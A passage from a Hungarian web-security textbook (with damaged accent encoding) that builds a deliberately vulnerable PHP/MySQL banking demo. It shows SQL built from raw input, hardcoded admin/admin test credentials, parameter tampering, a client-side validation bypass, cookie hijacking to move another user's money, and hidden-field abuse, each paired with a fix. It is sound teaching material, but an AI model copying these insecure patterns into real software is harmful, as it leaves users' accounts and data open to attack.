rendszer natív parancsai segítségével (ez akkor hasznos, ha a pyautogui helyett inkább egy másik, 

platformfüggetlen megoldást szeretnénk használni). 

K®pernyŖk®p k®sz²t®se: 

image = pyscreenshot.grab()  

A pyscreenshot.grab() f¿ggv®ny k®sz²t egy k®pernyŖk®pet, amely tartalmazza a teljes k®pernyŖt. A 

visszatérési érték egy PIL (Python Imaging Library) képet ad vissza, amely az image változóba kerül. 

 

K®pernyŖk®p megjelen²t®se: 

image.show()  

Az image.show() f¿ggv®ny megnyitja a k®pernyŖk®pet az alap®rtelmezett k®pnavig§l· programban. Ez 

hasznos lehet gyors elŖn®zetk®nt, an®lk¿l hogy manu§lisan keresn®nk meg a f§jlt. 

 

K®pernyŖk®p ment®se: 

image.save("myscreenshot.png")  

Az image.save("myscreenshot.png") sor a k®pernyŖk®pet elmenti Ămyscreenshot.pngò n®ven a lemezre. 

A save() függvény támogat más fájlformátumokat is, így a képet más formátumokban is menthetjük, 

például .jpg vagy .bmp. 

SZÁMÍTÓGÉP ZÁROLÁSA HANGUTASÍTÁSSAL  

A sz§m²t·g®p z§rol§sa hangutas²t§ssal k®nyelmi ®s biztons§gi szempontb·l is hasznos lehet. LehetŖv® 

teszi a felhasználónak, hogy a gépet anélkül zárolja, hogy fizikailag érintkezne vele, ami praktikus, 

különösen, ha a felhasználó épp nem tud a géphez nyúlni (például amikor távolabb tartózkodik vagy 

foglalt a keze). 
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Biztons§gi szempontb·l a hangutas²t§ssal tºrt®nŖ z§rol§s seg²t gyorsan lez§rni a sz§m²t·g®pet, ²gy 

megakadályozza, hogy illetéktelen személyek hozzáférjenek az adatokhoz. Ez különösen hasznos 

nyilvános helyeken vagy megosztott munkakörnyezetben, ahol a felhasználónak gyorsan el kell hagynia 

a helyszínt. Emellett a hangutasításos zárolás hasznos lehet akadálymentesség szempontjából is, segítve 

a mozg§sukban korl§tozott felhaszn§l·kat, hogy egy egyszerŤ hangparanccsal z§rj§k le eszkºz¿ket. A 

számítógép zárolása hangutasítással tehát növeli a biztonságot, kényelmet biztosít, és 

akadálymentesítést is szolgál. 

https://www.sujeetkrsingh.com/lock-pc-with-voice-command-using-python 

pip install SpeechRecognition  

 1. # ctypes module to load windows library  
 2. import  ctypes  
 3. # speech recognition module  
 4. import  speech_recognition as sr  
 5.   
 6. # obtain audio from the microphone  
 7. r = sr . Recognizer ()  
 8. with  sr . Microphone ()  as source :  
 9.     print ( "Say something!" )  
10.     audio = r . listen ( source )  
11.   
12. # recognize speech using Google Speech Recognition  
13. try :  
14.     # Here we are using default API which comes with the speech recognition module and is in 
built  
15.     # If you want to use your own API key please use this code `r.recognize_google(audio, 
key="GOOGLE_SPEECH_RECOGNITION_API_KEY")` 
16.     # instead of `r.recognize_google(audio)`  
17.     cmd=r . recognize_google ( audio )  
18.     # handle the exceptions  
19. except  sr . UnknownValueError :  
20.     print ( "Google Speech Recognition could not understand audio" )  
21. except  sr . RequestError  as e:  
22.     print ( "Could not request results from Google Speech Recognition service; {0}" . format ( e))  
23.   
24. # Match and compare the pattern of the voice command. You can change it yours.  
25. if  cmd=="lock my PC" :  
26.  # Load and execute the command to lock the PC. This function is available in default 
library (user32.dll) of windows  
27.     ctypes . windll . user32 . LockWorkStation ()  
28.   

 

  

https://www.sujeetkrsingh.com/lock-pc-with-voice-command-using-python
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WEB BIZTONSÁG  

A digit§lis vil§g folyamatos fejlŖd®s®vel a webes kºrnyezetek biztons§ga egyre nagyobb jelentŖs®get 

nyer. Az internet ma már nemcsak információszerzésre és kommunikációra szolgál, hanem a 

mindennapi élet szinte minden területén jelen van: pénzügyi tranzakciókat bonyolítunk le, adatokat 

t§rolunk a felhŖben, online v§s§rl§sokat v®gz¿nk, ®s folyamatosan kapcsolatban maradunk a vil§ggal. 

Ez a szoros integr§ci· azonban kock§zatokkal j§r. A weboldalak ®s webalkalmaz§sok a kiberbŤnºzŖk 

egyik elsŖdleges c®lpontjai lettek, akik különféle támadási módszerekkel igyekeznek bizalmas adatokat 

megszerezni, rendszereket megbénítani vagy kárt okozni. 

Ez a fejezet a web biztonságának alapelveit tárgyalja, rávilágítva a leggyakoribb támadási technikákra, 

mint például az SQL injekció, a Cross-Site Scripting (XSS), vagy a szolgáltatásmegtagadással járó 

(DDoS) támadások. Részletesen bemutatjuk azokat a védelmi stratégiákat, amelyeket a modern webes 

fejlesztŖknek ®s rendszergazd§knak alkalmazniuk kell, hogy minimaliz§lj§k ezeket a fenyeget®seket. A 

fejezet célja, hogy gyakorlati példákkal és esettanulmányokkal segítse a biztonságos webes környezet 

A fejlesztŖknek komoly erŖfesz²t®seket kell tenni¿k annak ®rdek®ben, hogy az §ltalunk kidolgozott 

webalkalmazás biztonságos legyen. Ennek hiánya privát adatok ellopását eredményezheti. 

Tekints¿k §t a webes alkalmaz§sok mŤkºd®s®t! 

KOMMUNIKÁCIÓ  

 

58. ábra Kliens és szerver oldal 

A kommunik§ci·hoz bºng®szŖket haszn§lunk. 

 

59. ábra N®pszerŤ bºng®szŖk logói 

Amikor ¿gyf®lk®nt megnyitod a bºng®szŖt, az k®r®st k¿ld a szervernek. A k®r®s Hypertext Transfer 

Protocol (HTTP) protokollt használ. A szerver lekezeli a kérést, és visszaküldi a választ. A válasz 

HTMM, CSS, JavaScript k·db·l §ll, amelyet a bºng®szŖd meg®rt és megjelenít. 
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 60. §bra A bºng®szŖ adatforgalma 

Ez a fajta kommunik§ci· §llapot n®lk¿li, a szerver nem tudja, mit csin§l a bºng®szŖ. A hacker 

megtámadhatja az ügyféloldalt vagy a szerver oldalt. 

 

 

A kºvetkezŖ p®ld§kban az Apache webszervert fogunk haszn§lni. A mintaprogramokat HTML, PHP 

nyelven ²rjuk, ®s MySQL adatb§zist is haszn§lunk. A munkafolyamat a kºvetkezŖ: 

1. A böngészŖnk megnyit egy php fájlt. 

2. Az Apache megkeresi a fájlt, és feldolgozza a kódot. 

3. A PHP kód megnyitja az adatbázist az adatok megjelenítéséhez. 

4. HTML fájl betºltŖdik. 

5. A bºng®szŖ megjeleníteni az adatokat. 

Amikor megnyitunk egy weboldalt, pl.,  

www.uni-miskolc.hu/en,  

akkor GET k®r®st k¿ldesz a webszerverhez. Ha megnyitod a fejlesztŖi eszkºzºket a bºng®szŖdben, ®s 

a hálózati fülre lépsz, láthatod a kérés tényleges fejlécét.  

http://www.uni-miskolc.hu/en
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61. ábra Egy weboldal és a megjelenítéshez szükséges kérések 

A 200-as státuszkód azt jeleni, hogy minden rendben ment A kºvetkezŖ st§tuszk·dok lehets®gesek: 

Az §llapotk·dok 3 sz§mjegybŖl §llnak, az elsŖ sz§mjegy utal a tartalmukra, ez a sz§mjegy 1-tŖl 5-ig 

terjedhet. Ez alapj§n a kºvetkezŖ csoportjai vannak az §llapotk·doknak: 

1xx - tájékoztató információk: A kérést megkapta a szerver, a feldolgozása következik 

2xx - sikeres kérés: A kérést sikeresen megkapta, elfogadta, megértette a szerver. 

3xx - átirányítás: További tevékenységre van szükség a kérés befejezéséhez. 

4xx - klienshiba: A k®r®s szintaktik§ja rossz vagy nem teljes²thetŖ. 

5xx - szerverhiba: A szervernek nem sikerült a kérést végrehajtania. 

A form-ok mŤkºd®s®nek vizsg§lat§hoz gépeljük be a óScholarshipô szót az egyetemi weboldal 

keresŖmezŖj®be. 
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62. §bra Egy keresŖmezŖ mŤkºd®se 

Az URL megváltozott: 

https://www.uni-miskolc.hu/kereses?search_txt=scholarship 

Látható, hogy a szöveges információ (query string) a GET request esetén az URL-ben van. A query 

string k®rdŖjellel kezdŖdik, n®v-érték párok követik & jellel elválasztva pl.:  

?name1=value1&name2=value2 

BEJELENTKEZ£SI ţRLAP KčDOLĆSA 

Hozzunk l®tre egy egyszerŤ bejelentkez®si Ťrlapot! 

 1. <!doctype html>  
 2. <html  lang ="en">  
 3. <head>  
 4.     <title> Login sample </title>  
 5.     <meta charset ="utf - 8">  
 6.     <meta name="viewport"  content ="width=device - width, initial - scale=1">  
 7.     <! --  Bootstrap CSS -- > 
 8.     <link  href ="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0 -
beta1/dist/css/bootstrap.min.css"  rel ="stylesheet"  crossorigin ="anonymous">  
 9.     <! --  Bootstrap Bundle with Popper -- > 
10.     <script  src ="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0 -
beta1/dist/js/bootstrap.bundle.min.js"  crossorigin ="anonymous"></script>  
11. </head>  
12.   
13. <body>  
14. </br>  
15. <div  class ="container">  
16.     <form  id ='login'  action ="login.php"  method='post'  accept - charset ='UTF- 8'>  
17.     <div  class ="form - group">  
18.         <label  for ="username"> Login User </label>  
19.         <input  type ="text"  name='userName'  class ="form - control"  id ="username"  aria -
describedby ="userNameHelp"  placeholder ="Enter username"  maxlength ="50"   required  />  
20.         <small  id ="userNameHelp"  class ="form - text text - muted">Enter your username </small>  
21.     </div>  
22.     <div  class ="form - group">  
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23.         <label  for ="password"> Password</label>  
24.         <input  type ="password"  name='password'  class ="form - control"  id ="password"  
placeholder ="Password"  maxlength ="50"  required  />  
25.     </div>  
26.     <input  type ="submit"  class ="btn btn - primary"  name='Submit'  value ='Login'  />  
27.     </form>  
28. </div>  
29. </body>  
30. </html>  
31.   

 

Az oldal így néz ki: 

 

63. ábra Az implementált oldal 

 

Amikor megadod az adataidat és megvizsgáljuk a kérés fejlécét, látni fogjuk, hogy ez POST kérés: 

 

64. ábra Post kérés 

Az Ťrlap adatait a bºng®szŖnek az alábibi módon küldjük el: 

 

65. ábra az elküldött adatok 

A GET és a POST összehasonlítása: 
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GET POST 

GET kérések gyorsítótárazhatók 

Bennmaradnak a bºng®szŖ elŖzm®nyeiben 

kºnyvjelzŖvel lehet Ŗket ell§tni hosszkorlátozások 

vannak soha nem szabad használni érzékeny adatok 

kezelésekor csak adatok lekérésére használják (nem 

módosítják azokat) csak ASCII karakterek 

megengedettek az adatok mindenki számára láthatók 

az URL -ben. 

POST kérések soha nem gyorsítótárazottak nem 

maradnak a bºng®szŖ elŖzm®nyeiben nem lehet 

kºnyvjelzŖvel ell§tni Ŗket nincsenek korlátozások az 

adatok hosszára vonatkozóan 

bináris adatok is megengedettek az adatok nem 

jelennek meg az URL -ben. 

 

A HTML kódhoz php kódot a <? php é?> tagek közé lehet beszúrni. Például a POST paraméterek 

kiírásához a következŖ k·dot sz¼rjuk be a </body> tag elé.  

<?php  

print_r ($_POST);  

?> 

 

 

66. ábra php kód beszúrása 

Jobb egérgombbal megtekinthetjük az oldal forráskódját: 



WEB BIZTONSÁG  

 

 82 

 

 

67. ábra Forráskód megtekintése 

A fejlesztŖk esetleg teszt kódot hagytak benne figyelmetlens®gbŖl, lásd a 16. sort  

 

 

68. ábra Érzékeny adatok a forráskódban  
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Ha dokument§lni szeretn®d a k·dot, akkor azt php kommentk®nt tedd, az nem l§tszik a bºng®szŖ 

forráskódjában.  

   <?php  // Test data: user=admin, password=admin ?>  

 

Készítsünk egy új adatbázist, a neve legyen websec 

 

69. ábra Adatbázis létrehozása 

Készítsünk egy táblát 3 oszloppal: 

 

70. §bra AdatmezŖk defini§l§sa 

 

71. §bra AdamezŖ típusának megadása 

Adjunk hozzá három felhasználót: 

1. INSERT INTO `websec` . `users`  ( `userID` ,  `userName` ,  `password` )  VALUES ( NULL,  'admin' ,  
'admin' );  
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2. INSERT INTO `websec` . `users`  ( `userID` ,  `userName` ,  `password` )  VALUES ( NULL,  'alice' ,  
'1234' );  
3. INSERT INTO `websec` . `users`  ( `userID` ,  `userName` ,  `password` )  VALUES ( NULL,  'bob' ,  '5678' );  
4.   

Ezután hozzunk létre egy 4 oszlopos tranzakció táblát. 

 

72. ábra Tranzakciós tábla létrehozása 

INSERT INTO `websec` . `transactions`  ( `id` ,  `fromUser` ,  `toUser` ,  `amount` )  VALUES ( NULL,  
'alice' ,  'bob' ,  '111' );  
INSERT INTO `websec` . `transactions`  ( `id` ,  `fromUser` ,  `toUser` ,  `amount` )  VALUES ( NULL,  'bob' ,  
'admin' ,  '222' );  
  

Haszn§ljuk a kºvetkezŖ k·dot: 

 1. <body>  
 2. <div  class ="container">  
 3.     <h1> List of users </h1>  
 4.     <table  class ="table table - bordered table - striped">  
 5.         <thead  class ="thead - dark">  
 6.             <tr>  
 7.                 <th>  UserID  </td>  
 8.                 <th>  UserName</td>  
 9.                 <th>  Password</td>  
10.             </tr>  
11.         </thead>  
12.         <tbody>  
13.             <?php 
14.   
15.                 //database authentication  
16.                 $hostDB="127.0.0.1" ;  $userDB ="root" ;  $passwordDB="" ;  $databaseDB ="websec" ;  
17.   
18.                 //connect to database  
19.                 $connect = mysqli_connect ( $hostDB,  $userDB, $passwordDB, $databaseDB);  
20.                 if  ( mysqli_connect_errno ()){  
21.                     die ( " cannot connect to database " .  mysqli_connect_error ());  
22.                 }  
23.   
24.                 $query ="select * from users "  ;  
25.   
26.                 $result = mysqli_query ( $connect , $query );  
27.                 if  (! $result ){  
28.                     die ( ' error while running query' );  
29.                 }  
30.   
31.                 $userInfo =array ();  
32.                 $loginInUser =null ;  
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33.                 while  ( $row= mysqli_fetch_assoc ( $result )){  
34.                     echo " <tr>" ;  
35.                     echo " <td>" .  $row[ "userID" ]  . " </td>" ;  
36.                     echo "  <td>" .  $row[ "userName" ]. "</td>" ;  
37.                     echo " <td>" .  $row[ "password" ]. "</td>" ;  
38.                     echo " </tr>" ;  
39.                     }  
40.   
41.                 mysqli_free_result ( $result );  
42.                 mysqli_close ( $connect );  
43.             ?> 
44.         </tbody>  
45.     </table>  
46. </div>  
47. </body>  
48.   

 

Helyezzük át az adatbázis hitelesítési adatait egy külön fájlba. Majd adjunk hozzá olyan kódot, amely 

a sikeres bejelentkezéskor megjelenít egy Transactions gombot. 

 1. <?php 
 2. require ( "dbAuth.inc" );  
 3.   
 4. $userName = isset ( $_POST[ 'userName' ])  ? $_POST[ 'userName' ]  :  '' ;  
 5. $password = isset ( $_POST[ 'password' ])  ? $_POST[ 'password' ]  :  '' ;  
 6.   
 7. if (! empty( $userName)  and ! empty( $password)){  
 8.     //connect to database  
 9.     $connect = mysqli_connect ( $hostDB,  $userDB, $passwordDB, $databaseDB);  
10.     if ( mysqli_connect_errno ()){  
11.         die ( " cannot connect to database " .  mysqli_connect_error ());  
12.     }  
13.   
14.     $query ="select * from users  where userName='"  .  
15.         $userName . "' and password='"  .  $password . "'"  ;  
16.   
17.     $result = mysqli_query ( $connect , $query );  
18.     if  (! $result ){  
19.         die ( ' error while running query' );  
20.     }  
21.   
22.     $loginInUser =null ;  
23.     while  ( $row= mysqli_fetch_assoc ( $result )){  
24.         $loginInUser = $row[ "userName" ];  
25.         break ;  
26.     }  
27.   
28.     mysqli_free_result ( $result );  
29.     mysqli_close ( $connect );  
30.   
31.     echo "<pre>" ;  
32.     echo "Server data:</br>" ;  
33.     echo "username: "  .  $userName.  "</br>" ;  
34.     echo "password: "  .  $password.  "</br>" ;  
35.     echo "query: "  .  $query .  "</br>" ;  
36.     if  (!  empty( $loginInUser )){  
37.         echo "</br>< div class= \ "alert alert - success \ ">Login successful for (" .  $loginInUser 
. ")" ;  
38.         echo "</br></br><a class= \ "btn btn - success \ " href='transactions.php?userName="  .  
$loginInUser . "'> Transactions</a>" ;  
39.         echo "</div>" ;  
40.   
41.     } else {  
42.         echo "</br><div class= \ "alert alert - danger \ ">Database login failed</div>" ;  
43.     }  
44.     echo "</pre>" ;  
45. }  
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46. ?> 
47.   

 

Hozzunk létre egy új transactions.php fájlt, amely kilistázza az összes tranzakciót, azaz ahonnan vagy 

ahova bejelentkezett a felhasználó. 

 

  1.          <br />< br />< br />  
  2.          <h2> List  of  transactions </ h2> 
  3.          <table class ="table table - bordered table - striped" > 
  4.              <thead>  
  5.              <tr>  
  6.                  <th>  transaction id </ td > 
  7.                  <th>  from  </ td > 
  8.                  <th>  to </ td > 
  9.                  <th>  amount</ td > 
 10.              </ tr > 
 11.              </ thead > 
 12.              <tbody>  
 13.  <?php 
 14.  //Database Authentication  
 15.  require ( "dbAuth.inc" );  
 16.    
 17.  $userName = $_GET[ 'userName' ];  
 18.    
 19.  //connect to database  
 20.  $connect = mysqli_connect ( $hostDB,  $userDB, $passwordDB, $databaseDB);  
 21.  if ( mysqli_connect_errno ()){  
 22.      die ( " cannot connect to database " .  mysqli_connect_error ());  
 23.  }  
 24.    
 25.  // get user transactions  
 26.  if (  ! empty( $userName))  {  
 27.      $query ="select * from transactions  where fromUser='" .  $userName . "' or toUser='" .  
$userName . "'"  ;  
 28.      $result = mysqli_query ( $connect , $query );  
 29.      if  (! $result ){  
 30.          die ( ' Error cannot run query' );  
 31.      }  
 32.    
 33.      $userInfo =array ();  
 34.      $loginInUser =null ;  
 35.      while  ( $row= mysqli_fetch_assoc ( $result ))  {  
 36.          $rowColor ="class='success'" ;  
 37.          if ( $row[ "fromUser" ]== $userName){  
 38.              $rowColor ="class='danger'" ;  
 39.          }  
 40.          echo " <tr " .  $rowColor . ">" ;  
 41.          echo " <td>" .  $row[ "id" ]  . " </td>" ;  
 42.          echo " <td>" .  $row[ "fromUser" ]  . " </td>" ;  
 43.          echo "  <td>" .  $row[ "toUser" ]. "</td>" ;  
 44.          echo " <td>" .  $row[ "amount" ]. "</td>" ;  
 45.          echo " </tr>" ;  
 46.      }  
 47.      mysqli_free_result ( $result );  
 48.  }  
 49.  mysqli_close ( $connect );  
 50.  ?> 
 51.              </ tbody > 
 52.          </ table > 
 53.    
   

 

Az oldal így néz ki 
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73. ábra Az oldal kinézete 

VALIDÁCIÓS SZABÁLYOK ELKERÜLÉSE  

Hozzunk létre egy addUser.php oldalt, amely nagyon hasonl²t a bejelentkez®si Ťrlaphoz. A kód új 

felhaszn§l·t ad hozz§ az adatb§zishoz. Az Ťrlap javascript k·ddal ellenŖrzi, hogy a megadott jelsz· 

tartalmaz -e legal§bb 5 kisbetŤt. A form a kºvetkezŖ: 

 1.      <form id ='adduser'  action ="addUser.php"  method='post'  accept - charset ='UTF- 8' > 
 2.      <div class ="form - group" > 
 3.          <label for ="username" >User</ label > 
 4.          <input type ="text"  name='userName'  class ="form - control"  id ="username"  aria -
describedby ="userNameHelp"  placeholder ="Enter username"  maxlength ="50"  />  
 5.  5.          <small id ="userNameHelp"  class ="form - text text - muted" >Enter  your 
username</ small > 
 6.      </ div > 
 7.      <div class ="form - group" > 
 8.          <label for ="password" >Password</ label > 
 9.          <input type ="password"  name='password'  class ="form - control"  id ="password"  aria -
describedby ="passwordHelp"  placeholder ="Password"  maxlength ="50" />  
 10.          <small id ="passwordHelp"  class ="form - text text - muted" >Enter  password to enable Add 
button </ small > 
 11.      </ div > 
 12.      <input type ="submit"  class ="btn btn - primary"  id ="submit"  name='Submit'  value ='Add'  
disabled />  
 13.      </ form > 

 

A hozzátartozó SQL:  

1.     $query ="Insert into login(userName,password) VALUES ('"  .  
2.         $userName . "','"  .  $password . "')"  ;  
3.   

 

Mint látható, az Add (Hozzáadás) gomb alapértelmezés szerint le van tiltva. Az forráskódban van egy 

JavaScript f¿ggv®ny, amely enged®lyezi a gombot, ha tºbb mint 5 kisbetŤt ²runk be a jelsz· mezŖbe: 

 1. <script>  
 2.     var  passwordField = document. getElementById ( "password" );  
 3.     var  submitBtn = document. getElementById ( "submit" );  
 4.     submitBtn . disabled = true ;  
 5.     // When the user types something into the password field  
 6.     passwordField . onkeyup = function ()  {  
 7.         submitBtn . disabled = true ;  
 8.         // Validate lowercase letters  
 9.         var  lowerCaseLetters = /[a - z]/ g;  
10.         if  (! passwordField . value . match( lowerCaseLetters ))  {  
11.          return ;  
12.         }  
13.         if ( passwordField . value . length > 5)  {  
14.             submitBtn . disabled = false ;  
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15.         }  
16.     }  
17. </script>  
18.   

 

  

74. ábra Az Add gomb letiltott és engedélyezett módja 

A jobb eg®rgombbal elŖh²vhat· Inspect menüben vizsgáljuk meg az Add gombot.  

 

75. ábra  76. ábra Az Add gomb forráskódjának vizsgálata 

 

77. ábra A forráskód 

Cser®lj¿k le a ódisabledô (Ăletiltvaò) ®rt®ket az óenabledô (Ăenged®lyezettò) ®rt®kre. Most kihagyhatjuk 

az ellenŖrz®st, ®s elk¿ldhetj¿k az Ťrlapot a jelsz·ellenŖrz®s n®lk¿l. Ha megnyitjuk az adatb§zist§bl§t, 

megjelenik a felhasználói rekord jelszó nélkül. 
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78. ábra  Felhasználói rekord jelszó nélkül 

Tehát a megoldás az, hogy a validációs kódot szerveroldalon kell végrehajtani, lásd az if utasítást az 

alábbi kódban. 

 1. <?php 
 2. require ( "dbAuth.inc" );  
 3.   
 4. $userName = isset ( $_POST[ 'userName' ])  ? $_POST[ 'userName' ]  :  '' ;  
 5. $password = isset ( $_POST[ 'password' ])  ? $_POST[ 'password' ]  :  '' ;  
 6.   
 7. if (! empty( $userName)  and ! empty( $password))  {  
 8.     //connect to database  
 9.     $connect = mysqli_connect ( $hostDB,  $userDB, $passwordDB, $databaseDB);  
10.     if ( mysqli_connect_errno ()){  
11.         die ( " cannot connect to database " .  mysqli_connect_error ());  
12.         }  
13.   
14.     $query ="Insert into users(userName,password) VALUES ('"  .  
15.         $userName . "','"  .  $password . "')" ;  
16.   
17.     $result = mysqli_query ( $connect , $query );  
18.     if  (! $result )  {  
19.         die ( ' error while running query' );  
20.         }  
21.     mysqli_close ( $connect );  
22.     }  
23. ?> 
24.   

PLAIN TEXT GET PARAMÉTEREK ELKERÜLÉSE 

Térjünk vissza a bejelentkezési oldalunkra. Jelentkezzünk be rendszergazdaként, és kattintsunk az 

admin tranzakcióinak megtekintéséhez. Figyeld meg az URL -t: az átadja a felhasználónevet. 

http://localhost:90/websec/transactions.php?userName=admin  

Mi történik, ha az óadminô paramétert lecseréled óbobô-ra? 

http://localhost:90/websec/transactions.php?userName=admin
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Az oldal listázza Bob összes tranzakcióját anélkül, hogy Bob bejelentkezett volna. 

Ne használj könnyen kitalálható get paramétert! 

 

Megoldásként nem a felhasználói nevet, hanem egy felhasználói tokent adunk majd át. 

 

79. ábra Tokenizáció 

UPDATE `users` SET `userToken`= UUID();  

Módosítsuk a login.php oldalt, hogy lássuk a tokent: 

1.     $loginInUser = null ;  
2.     $userToken = null ;  
3.     while  ( $row = mysqli_fetch_assoc ( $result ))  {  
4.         $loginInUser = $row[ "userName" ];  
5.         $userToken = $row[ "userToken" ];  
6.         break ;  
7.     }  
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8.   

 

és a transactions.php parameter a kºvetkezŖk®ppen m·dos²tand·: 

1.     if  (!  empty( $loginInUser ))  {  
2.         echo "</br><div class= \ "alert alert - success \ ">Login successful for (" .  $loginInUser 
. ")" ;  
3.         echo "</br></br>< a class= \ "btn btn - success \ " href='transactions.php?userToken="  .  
$userToken . "'> Transactions</a>" ;  
4.         echo "</div>" ;  
5.     }  
6.   

 

A transactions.php f§jlban a felhaszn§l·i n®vbŖl le kell gener§lni a tokent:  

 1. //Database Authentication  
 2. require ( "dbAuth.inc" );  
 3.   
 4. //connect to database  
 5. $connect = mysqli_connect ( $hostDB,  $userDB, $passwordDB, $databaseDB);  
 6. if ( mysqli_connect_errno ())  {   
 7.     die ( " cannot connect to database " .  mysqli_connect_error ());  
 8. }  
 9.   
10. $userToken = isset ( $_GET[ 'userToken' ])  ? $_GET[ 'userToken' ]  :  '' ;  
11. // get user name from token  
12. $query ="select * from users  where userToken='"  .  $userToken . "'" ;  
13.   
14. $result = mysqli_query ( $connect , $query );  
15. if  (! $result )  {  
16. die ( ' error while running query' );  
17. }  
18.   
19. $userName=null ;  
20. while  ( $row= mysqli_fetch_assoc ( $result ))  {  
21.     $userName= $row[ "userName" ];  
22.     break ;  // to be save  
23. }  
24.   

 

SÜTIK (COOKIES) ELTÉRÍTÉSE 

A bºng®szŖ cookie egy szºveges f§jl. Amikor a webhelyeken bºng®sz¿nk, bizonyos inform§ci·k 

írhatók bele a cookie -f§jlba, hogy szem®lyre szabhass§k bºng®sz®s®t, vagy lehetŖv® tegy®k a webhely 

gyors elérését. 

Általában a sütik tárolják az oldal felkeresésének adatait, a végrehajtott kereséseit kereséseket 

vásárlásokat az oldalon. 

Session Computer Browser Cookies 

A munkamenet -bºng®szŖ s¿tije a bºng®szŖben t§rolhat·. Ez tºrlŖdik, amikor a felhaszn§l· kil®p a 

bºng®szŖbŖl. A munkamenet s¿tiket használják például az online bevásárlókosarakban használják a 

kos§r tartalm§nak rºgz²t®s®re. Ezek a bºng®szŖ cookie -k lehetŖv® teszik a felhaszn§l· sz§m§ra, hogy 

egyik oldalról a másik oldalra lépjen anélkül, hogy többször be kelljen jelentkeznie. 

Permanent Computer Browser Cookies 
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Az §lland· bºng®szŖ s¿tik a merevlemezre mentŖdnek ®s ott maradnak, am²g le nem j§rnak, azaz a 

bºng®szŖ le§ll²t§sakor nem tºrlŖdnek. Ezeket a felhaszn§l·k bºng®sz®si szok§sainak profiloz§s§ra 

használják a webhelyen. 

Ezeket a bºng®szŖ cookie -kat csak az a szerver tudja olvasni, amely elhelyezi a cookie -kat a 

számítógépen. 

Third Party Computer Browser Cookies 

Harmadik f®ltŖl sz§rmaz· s¿tik p®ld§ul a szalaghirdet®sek, a helyf¿ggŖ hirdet®sek s¿tijei. A webhelyek 

enged®lyezik a c®geknek, hogy ezeket a bºng®szŖ cookie-kat számítógépre mentsék, és a harmadik fél 

meghat§rozhatja a felhaszn§l·k ®rdeklŖd®s®t az§ltal, hogy nyomon követi böngészési szokásokat. [4] 

BŖv²ts¿k ki a tranzakci· oldalt egy formal. Ezzel a bejelentkezett felhasználó bizonyos összegeket 

küldhet egy másiknak. 

 

80. ábra Tranzakciók 

Az SQL el®g egyszerŤ: 

 1. //Add new transaction  
 2. if (! empty( $_POST[ 'fromUserName' ])  and ! empty( $_POST[ 'ToUserName' ]))  {  
 3.   
 4.     $query ="insert into transactions(fromUser, toUser, amount)  
 5.       values ('" .  $_POST[ 'fromUserName' ]  . "','" .  $_POST[ 'ToUserName' ]  . "'," .  
$_POST[ 'Amount' ]  . ")" ;  
 6.   
 7.     $result = mysqli_query ( $connect , $query );  
 8.     if  (! $result ){  
 9.         die ( ' error while running query' );  
10.     }  
11. }  
12.   

 

A fejlesztŖ most ¼gy dºnt, hogy cookie-kat használ a bejelentkezett felhasználó felhasználónevének 

mentéséhez. 

A bºng®szŖ ezeket az adatokat lementi. 

 

 

81. ábra Cookie kezelés 

A login.php fájlban mentsük el a felhasználói nevet egy cookie-ba. 
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setcookie( 'userName' , $loginInUser,false,"/",false);  

Ha az Alkalmaz§sok f¿lre kattintunk, akkor l§thatjuk a bºng®szŖvel t§rolt cookie -kat: 

 

82. §bra A bºng®szŖben t§rolt cookie-k 

 
A transactions.php f§jlban adjuk hozz§ ezt az Ťrlapot a tranzakci·s lista fºl®: 

 
 1.  <form id ='login'  action ='transactions.php'  method='post'  accept - charset ='UTF- 8' > 
 2.              <div class ="row" > 
 3.                  <div class ="col - sm"> 
 4.                      <label for ='ToUserName'  >To UserName*:</ label > 
 5.                  </ div > 
 6.                  <div class ="col - sm"> 
 7.                      <input type ='text'  class ="form - control mb - 2 mr - sm- 2"  name='ToUserName'  
id ='ToUserName'   maxlength ="50"  required />  
 9.                  </ div > 
10.                  <div class ="col - sm"> 
11.                      <label  for ='Amount'  >Amount:</ label > 
12.                  </ div > 
13.                  <div class ="col - sm"> 
14.                      <input type ='text' class ="form - control mb - 2 mr - sm- 2"   name='Amount'  
Amount'  maxlength ="50"  required />  
15.                      <input type ="hidden"  name="fromUserName"  value ="<?= 
$_COOKIE['userName'];?>"  />  
16.                  </ div > 
17.                  <div class ="col - sm"> 
18.                      <input type ='submit'  class ="btn btn - primary mb - 2"  name='Submit'  submit'  
value ='Send'  />  
19.                  </ div > 
20.              </ div > 
21.          </ form > 
22.    
  

Vegyük észre, hogy van egy rejtett bemenet, fromUserName, és ennek az értéke a cookie -ból származik. 

A k·d, amely a felhaszn§l·nevet a tokenbŖl sz§m²totta, ²gy m·dosul: 

$userName = $_COOKIE[ 'userName' ];  

 

Lépjünk be Adminként és küldjünk 444 ®rt®kŤ tranzakci·t Alice részére. 
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83. ábra Tranzakció Alice részére 

A tranzakciók megjelennek: 

 

84. ábra Tranzakciók listája 

Térítsük el a sütit a konzol ablak§ban. ĉrjuk §t Az ®rt®ket ñbobò felhasználói névre. 

 

85. §bra Felhaszn§l·i n®v §t²r§sa a bºng®szŖ konzolj§ban 

Most küldjünk egy kis pénzt az adminnak. (Megjegyzés: adminként jelentkeztünk be, így a pénzt 

magunknak küldjük). 

Adjuk meg a küldeni kívánt értéket, és nyomjuk meg a Send gombot. 

 

86. ábra Tranzakció Admin részére 

Ha a süti el van térítve, a pénzt Bob számlájáról küldtük. 

 

87. ábra Az eltérített tranzakció Bob számlájáról 

 

Ennek elker¿l®se ®rdek®ben ellenŖrizhetj¿k, hogy ugyanazt a bºng®szŖt, ugyanarr·l az IP -c²mrŖl 

szolgáljuk-e ki. Ezeket a bºng®szŖ fejlesztŖi eszkºzeinek h§l·zati lapj§n l§thatjuk. 
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A megold§s az, hogy nem a sima felhaszn§l·n®v mezŖt, hanem egy tokent haszn§lunk. 

Rejtett adatmezŖs t§mad§sok 

Most már biztonságossá tehetjük a cookie -kat. De ha megvizsg§ljuk a p®nzt k¿ldŖ tranzakci·s oldal 

forr§s§t, l§tni fogjuk, hogy rejtett mezŖ van benne: 

 

88. §bra Rejtett mezŖ 

A hacker megv§ltoztathatja a Ăbobò nevet. A megold§s az, hogy ®rz®keny adatokat nem tov§bb²tunk 

tov§bb²tson a rejtett mezŖkben, mert azok l§that·ak lehetnek. 

URL UGRÁSOS TÁMADÁS  

Amikor beírjuk a kºvetkezŖ URL -t a bºng®szŖbe, megjelenik a felhaszn§l· hozz§ad§sa Ťrlap: 

http://localhost:90/websec/addUser.php 

